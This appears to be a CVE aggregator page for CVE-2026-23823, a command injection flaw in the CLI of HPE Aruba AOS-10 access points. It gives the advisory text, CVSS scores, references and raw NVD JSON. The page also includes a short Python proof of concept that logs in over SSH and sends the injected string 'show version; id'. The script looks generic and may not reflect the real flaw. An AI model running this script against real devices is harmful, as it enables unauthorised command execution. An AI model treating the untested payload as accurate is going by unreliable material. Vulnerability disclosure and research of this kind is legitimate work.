CVE-2026-23823

Description

A vulnerability in the command line interface of Access Points running AOS-10 could allow an authenticated remote attacker to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system. NOTE: This vulnerability only impacts Access Points running AOS-10.7.x.x and above. AOS-10.4 AP and AOS-8 Instant software branches are not affected by this vulnerability.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

HPE Aruba AOS-10 >= 10.7.x.x

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-23823: HPE Aruba AOS-10 CLI Command Injection
# Requires: pip install paramiko
import paramiko
import time

# Configuration
TARGET_IP = "192.168.1.1"
USERNAME = "admin"
PASSWORD = "password"
# Payload attempts to inject a command by appending a semicolon
PAYLOAD = "show version; id"

def exploit():
    try:
        # Initialize SSH client
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        print(f"[*] Connecting to {TARGET_IP}...")
        client.connect(TARGET_IP, username=USERNAME, password=PASSWORD, timeout=10)
        
        # Invoke shell
        shell = client.invoke_shell()
        time.sleep(1)
        
        # Send the malicious payload
        print(f"[*] Sending payload: {PAYLOAD}")
        shell.send(PAYLOAD + "\n")
        time.sleep(2)
        
        # Receive output
        output = shell.recv(1024).decode('utf-8')
        print("[+] Output received:")
        print(output)
        
        # Check if command injection was successful (e.g., seeing 'uid=')
        if "uid=" in output:
            print("[!] Command injection successful!")
        else:
            print("[-] Exploit failed or output not captured.")
            
        client.close()
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23823
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23823
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23823/
[4] VulDB https://vuldb.com/cve/CVE-2026-23823
[5] https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23823", "sourceIdentifier": "[email protected]", "published": "2026-05-12T19:16:29.053", "lastModified": "2026-05-13T15:35:17.550", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the command line interface of Access Points running AOS-10 could allow an authenticated remote attacker to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNOTE: This vulnerability only impacts Access Points running AOS-10.7.x.x and above. AOS-10.4 AP and AOS-8 Instant software branches are not affected by this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US", "source": "[email protected]"}]}}